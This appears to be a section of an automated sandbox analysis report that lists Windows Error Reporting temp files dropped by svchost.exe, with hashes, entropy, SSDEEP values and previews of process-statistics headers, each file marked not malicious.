Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2C5E.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	110288
Entropy (8bit):	3.058028930968452
Encrypted:	false
SSDEEP:	3072:M0Qpzq3Q7MRozOycxg8JimsuC8Y0BFZjgD1qiMwFiqlJ8xbPFtaJCEd5C8sd:H
MD5:	32E1F39837BB34780B5A007C7D079B18
SHA1:	FB02BB0897A4C8F939FB567BDA3A4609CE9E6287
SHA-256:	63AF9238FDF583D7D6581CC165BE20A3ABD2CDD93FB886ABDF0435725ECC623B
SHA-512:	812AE2D7B8A91A54BB2B3C583252D43702019A7B6AB5EA564CC5AF28CEF51B8CDB1D90E21A7AA654009F844A3F506FEF60EE71F38403FE565F7D8C2854400ECD
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2C8E.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	109912
Entropy (8bit):	3.058420393563346
Encrypted:	false
SSDEEP:	3072:x/pzq3Q7uRozzycxq8JimbSuC8Y0BFZjgD1qjMwFi/m+w8GwaJC6d5Cds7:L
MD5:	EFDC7724C14785727964D569843FE944
SHA1:	9E1F5760BEA83FF56935C56D492460F4A7E117E5
SHA-256:	7EBC3328128DC487EF1F479F48BE2FA3CE297CAF5CCB8890417803E140805F79
SHA-512:	5F290EBF4A00BA5AB18812FD4B9BB8F767795D16DF5615AA1F73960E6EEE187E923907D7350771589E423C8D12D54F5907FBD5D9F9D4608A6200BD2B707B5D47
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2D5A.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	109524
Entropy (8bit):	3.058590508061706
Encrypted:	false
SSDEEP:	3072:Hbpzq3QpoRozlScxe8JimbSuC8Y0BFZjgD1qgMwFiARcPZPvwaJHdd/CWsX:0
MD5:	5C34AE417F3F4C75EBADA8BABE3A642C
SHA1:	41479087C0EFEF18CA147191A73E4617405860D4
SHA-256:	17C5E92263CDBF0D01A6C158B707D7A9F02C8931A868CF4466044287A9BB714C
SHA-512:	204C81373ED7F7767E3210D84C20A2F35F7106D27FB7AFF33D734EA5D1CC16AE7ED620FC0044DC31279A39ED31D9BAE2299746F524622C2D9F7BB8403A8C148D
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2DD8.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6990794975040955
Encrypted:	false
SSDEEP:	96:TiZYW1/bJKY6Y1QepH8YEZBKtFi2+1SEwAiNaXnJMpY0IgeZ:2ZDS9RV+aXnJMpYjgeZ
MD5:	0CFCA1A33128B8C097C6AE7197252495
SHA1:	C9CEFA041D5D3B93A145273AA1D330F4E0AEDAC5
SHA-256:	946B0A528344ECFDB35CBE4BC0D183397E95F30DF0D0023FF8C5986F4E88558D
SHA-512:	C2FBF5C02E1F63F9BA7D33CC574648B48629A9E1C58EA9B0D094D4A02B9BE3EB8893768C7DF34EFB7CDFFDC68BD6A024DF3AA8809437CE6417793DC6BA256E95
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2E37.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.698919626570357
Encrypted:	false
SSDEEP:	96:TiZYWF4CUFY5Yol9oQT+H8YEZnwtFins+6SqwpGPgZa2nvMOY0I9Qez:2ZDEu/3HfrZa2nvMOYjyez
MD5:	300D51D57A741E8CE27D519D501BD36A
SHA1:	D84FA10221A3B3EBB206A793EAC1AEBF269E5487
SHA-256:	5DAFA9A32F7CCB736FEFC803BCD1B332DE13DCF9B780950E693FD91E2BDE1CA7
SHA-512:	DA9E21B32C6BB0CD436C207837CA71A94EC24FEF258316F0E1E6B39CD3B808BC5C029486A33D496C39261961ABE0175935F5C8BF97DEB65B90AD43536FDFF43D
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2E67.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6991953933292554
Encrypted:	false
SSDEEP:	96:TiZYWkQoImo9Y1YIQ5KIH8YEZxXtFino+6SqwgVBaunHoMUY6IeeZ:2ZDxiDP/baunHoMUYteeZ
MD5:	903E7629F8E8A7B40E6D788D549E3F59
SHA1:	A140C28B4E6C88E9B8CAF7D481768CDA45DEDE0D
SHA-256:	8F4A4BC4206AFA6D671470C5A2855267E564B5D6EFDDB05AF4981DB6E6E808C6
SHA-512:	C504BB59CC2CA59263D99D174727A9D2761BEAFC90AB8234D9C4DFB5A9F99BEBB9B56470879FAF6F12F8828D3684033FC337610D79EFB905AB72A7BCEB875E7B
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3974.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	112758
Entropy (8bit):	3.05480537217923
Encrypted:	false
SSDEEP:	3072:/BE6ezW3xwHRd6KcyxFiHjOuC8Y0BFZjgD1q2MwF/qPyHbSP85aJL5dCCVI:A
MD5:	DF959AC81031DBB878DFED59EDFEE654
SHA1:	D3F51519CAEA35CAC2508C75AF3B4BA4CBCCFB4F
SHA-256:	8CD85F083BCB2575A4DE720267659FDC068CA9BB31994E112A3B10E8D615BD49
SHA-512:	3FBF1DF22854684D9164FEF72824B9B5684BD9780D5EA589F93587457342B7D26F157FD185448146769765568B0A17B568FF190497243C98563119D49BDE4986
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3975.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	112758
Entropy (8bit):	3.0548427076231706
Encrypted:	false
SSDEEP:	3072:tyE6ezW3xwJRd6KcyxFiHjOuC8Y0BFZjgD1q2MwF/DPuln1P85aJL5dCCVx:Y
MD5:	C8C916C880E5ED55F0348487DC1ADCFC
SHA1:	777DCE64849C353C4600E97A237A42628691C384
SHA-256:	490A9CF7C3C55A615F3AD5A8CDD8C8EC19DB4047C90B8EA461A4D72C7AABCAC6
SHA-512:	7FBC51BF4CB14C52A4C65654BE0A35B6F00A5F22DC744488E6832AC6895BF14617799ECE1E5AFCC373F5C839E29D890FE07DCCABBC64378332BB7640211E97D2
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3AED.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6995376444188
Encrypted:	false
SSDEEP:	96:TiZYWAu1/JYYYWMozFRH+YEZTitFiW+QSxwHusaFnPhMiYvIyet:2ZDF/KJiDaFnPhMiYAyet
MD5:	6A3687140595B88E18A9F4B5015B7FC7
SHA1:	E5C748094AD0ADD017F259097E7796773DF9A9E5
SHA-256:	39989ECDB780795A0AC7FA0C692F2FB1F45839BFD64C3C4904F2182549A06528
SHA-512:	4148F0639C7DD60281AA1E07C13338E388C3A98765127EAA445B48A916BF9BDD704567AC330C895E9C75C7A73893F74D4EB4DA55C72B4A03ABA42DE026A19891
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3AFE.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6997403549153076
Encrypted:	false
SSDEEP:	96:TiZYWj0KmrYhYWrU7zV2H+YEZ/wvtFiK+QSxw+1Ya/n3McYrIveB:2ZDmGtpMya/n3McYkveB
MD5:	0730E037DA4C4CF67CF318006B905BFB
SHA1:	438D9778DDFED74E031873DF9435D1AC8FB12065
SHA-256:	10FC7FE107D31E136C8168F3B67B517CD0F7808A7F30D01C9D9530A1651C56E6
SHA-512:	BA0C469A2792CEC1F3FB6F23CE00D3E6BD2E340278165B4FC12CCCA9A9683C78C1E0B0EC4399BEDD03C800CEE9D422967D3A2513887BEA527B271EFB856E36CD
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D19.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	89226
Entropy (8bit):	3.0844473642830414
Encrypted:	false
SSDEEP:	1536:6Rgktn8l3j1p6wCsS6CTCrV2a0q2toTo0oE2ywABXHeB0+aoB5U6cm9+Qg8FD:6Rgktn8l3j1p6wCsS6CTCrV2a0q2toTu
MD5:	34E4A2C98AFE8EB56ADD872707A0D00B
SHA1:	25BF4E067A11B6CF29309417270E23C8C8A94DB1
SHA-256:	529A2A258ED3432B8264BA7805AB13C1A4C4481D2DEBD844952794BFB1FFCA70
SHA-512:	AB9BADF3236A121A5E40EBD9A3771823C2AB3EF5DAF3D83F11BE51F6CA5DCAFB656766FC8AD83CB808C88D130102D69B0BE8BED3B090830C022DD0FA3D010A19
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.